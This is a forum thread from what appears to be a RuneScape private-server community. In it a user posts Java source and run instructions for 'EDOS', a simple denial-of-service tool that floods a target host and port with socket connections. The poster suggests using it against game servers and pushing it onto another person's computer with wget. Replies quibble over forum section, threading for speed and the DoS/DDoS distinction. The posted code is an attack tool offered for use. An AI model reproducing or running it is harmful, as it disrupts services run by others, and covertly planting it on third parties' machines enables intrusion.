Thread: EDOS simple ddoser

Page 1 of 2 12 LastLast
Results 1 to 10 of 11
  1. #1 EDOS simple ddoser 
    Endar
    Guest
    Purpose: show a simple doser

    Difficulty: 2

    Assumed Knowledge: how to compile and run classes with arguments

    Server Base: any

    Classes Modified: EDOS.java

    Procedure
    Step 1: hi people, this is just a little doser i made if you want to try it out
    Code:
    // EDOS
    // simple ddoser by Endar
    // version 1.01
    
    import java.io.*;
    import java.net.*;
    
    public class EDOS {
      private String version = "1.01";
      private Socket sock = null;
    
      public static void main(String args[]) {
        EDOS e = new EDOS();
        e.dos(args[0], Integer.parseInt(args[1]), Integer.parseInt(args[2]));
      }
    
      public void dos(String host, int port, int connections) {
        println("EDOS version: " + version);
        println("created by Endar");
        println(""); // new line
    
        for(int i = 0; i <= connections; i++) {
          try {
            sock = new Socket(host, port);
            println(i + " connections to " + host + ":" + port);
          } catch(Exception e) {
            e.printStackTrace();
          }
        }
      }
    
      private void println(String s) {
        System.out.println(s);
      }
    }
    to use as a standalone class, compile and run it like:
    Code:
    java EDOS localhost 80 999
    localhost - host
    80 - port
    999 - connections

    it also works on rs servers too, if you want you can use this on your server with a command and even wget it to the person's computer so it doesn't hog server cpu and what not

    Credits: Endar, java docs
    Last edited by Endar; 12-09-2007 at 07:32 PM. Reason: added format
     

  2. #2  
    Registered Member
    Oblakastouf's Avatar
    Join Date
    Mar 2007
    Age
    32
    Posts
    1,194
    Thanks given
    0
    Thanks received
    1
    Rep Power
    274
    Wrong section much?
    Um... Bored.
     

  3. #3  
    Endar
    Guest
    Quote Originally Posted by oblakastouf.php View Post
    Wrong section much?
    hi oblakastouf.php, sorry i do not know the "forum rules" yet but thanks for pointing that out to me

    if a moderator wants to move this thread to the appropriate section than that's fine with me
     

  4. #4  
    Registered Member

    Join Date
    May 2007
    Posts
    696
    Thanks given
    0
    Thanks received
    0
    Rep Power
    154
    Posting in the right section is basic knowledge...
    Anybody remember me?
     

  5. #5  
    Endar
    Guest
    Quote Originally Posted by Pkitten View Post
    Posting in the right section is basic knowledge...
    hi Pkitten, if someone just came to the forum, they may be a bit confused as where to go and what to do
    luckily we have people like you who watch over the mistakes and keep things in order

    it's like when you go to a baseball game for the first time, everyone is mostly lost trying to find their seats and look for their friends
     

  6. #6  
    i hazy i
    Guest
    nice, I couldnt do this at all lol. I guess welcome to rune-server
     

  7. #7  
    Registered Member
    Join Date
    Feb 2007
    Posts
    308
    Thanks given
    0
    Thanks received
    1
    Rep Power
    72
    You could've used threads instead to make it a bit faster and neater or you could've used the class's constructor instead of dumping everything in a random method.
    RuneWiki - The ultimate source of technical RuneScape information.
     

  8. #8  
    Fasga
    Guest
    There's a difference between DDoS and DoS.
     

  9. #9  
    Endar
    Guest
    hi Fasga, yes you are correct, the extra D is for distributed meaning more than one computer/person

    as for threads, good idea, i may incorporate this in a later version
     

  10. #10  
    brb ridin da storm

    blakeman8192's Avatar
    Join Date
    Dec 2012
    Age
    31
    Posts
    2,012
    Thanks given
    818
    Thanks received
    1,361
    Rep Power
    329
    1. Good job dragging this community down a little bit more.
    2. Its a DoSer, not a DDoSer, "DDoS" means distributed denial of service, or a botnet attack. DoS means Denial of Service.
     

Page 1 of 2 12 LastLast

Thread Information
Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)


User Tag List

Posting Permissions
  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •